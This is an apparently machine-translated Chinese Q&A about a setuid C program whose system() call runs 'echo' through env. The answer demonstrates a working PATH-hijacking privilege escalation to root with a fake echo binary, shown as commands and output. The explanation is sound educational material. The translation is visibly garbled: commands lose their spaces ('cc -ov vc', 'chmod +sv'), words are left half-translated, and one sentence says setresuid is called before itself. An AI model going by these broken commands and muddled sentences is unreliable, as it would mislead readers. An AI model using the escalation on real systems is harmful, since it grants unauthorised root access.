这个C代码有什么弱点?

#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } 

我理解的方式,上面的代码允许任意代码(或程序)执行 – 是什么让这个脆弱,以及如何利用这一点?

你可以覆盖PATHvariables来指向你的自定义版本的echo目录,因为echo是使用env来执行的,所以不会被视为内置的。

只有在代码作为特权用户运行时,才会构build漏洞。

在下面的例子中,文件vc包含问题的代码。

 $ cat echo.c #include <stdio.h> #include <unistd.h> int main() { printf("Code run as uid=%d\n", getuid()); } $ cc -o echo echo.c $ cc -ov vc $ sudo chown root v $ sudo chmod +sv $ ls -l total 64 -rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo -rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c -rwsr-sr-x 1 root group 8896 Nov 29 01:55 v -rw-r--r-- 1 user group 279 Nov 29 01:55 vc $ ./v and now what? $ export PATH=.:$PATH $ ./v Code run as uid=0 $ 

请注意,在问题中发布的漏洞代码中调用setresuid()之前,通过调用setresuid()来设置真实用户ID,有效用户ID和保存的set-user-ID,即使只有漏洞有效的用户ID被设置为特权用户ID,并且真实用户ID保持非特权(例如,如上所述依赖于文件上的set-user-ID位的情况)。 如果没有调用setresuid()system()运行的shell会将有效的用户标识重置为真实的用户标识,从而导致漏洞无效。 但是,在使用特权用户的真实用户ID运行易受攻击代码的情况下, system()调用就足够了。 引用sh手册页:

如果shell是以有效用户(组)id不等于真实用户(组)id的方式启动的,并且-p选项没有提供,则不会读取启动文件,shell函数不会从环境中inheritance,SHELLOPTSvariables,如果它出现在环境中,则被忽略,并且有效的用户ID被设置为真实的用户ID。 如果调用时提供了-p选项,则启动行为是相同的,但不会重置有效的用户标识。

另外请注意, setresuid()不是可移植的,但setuid()setreuid()也可以用于相同的效果。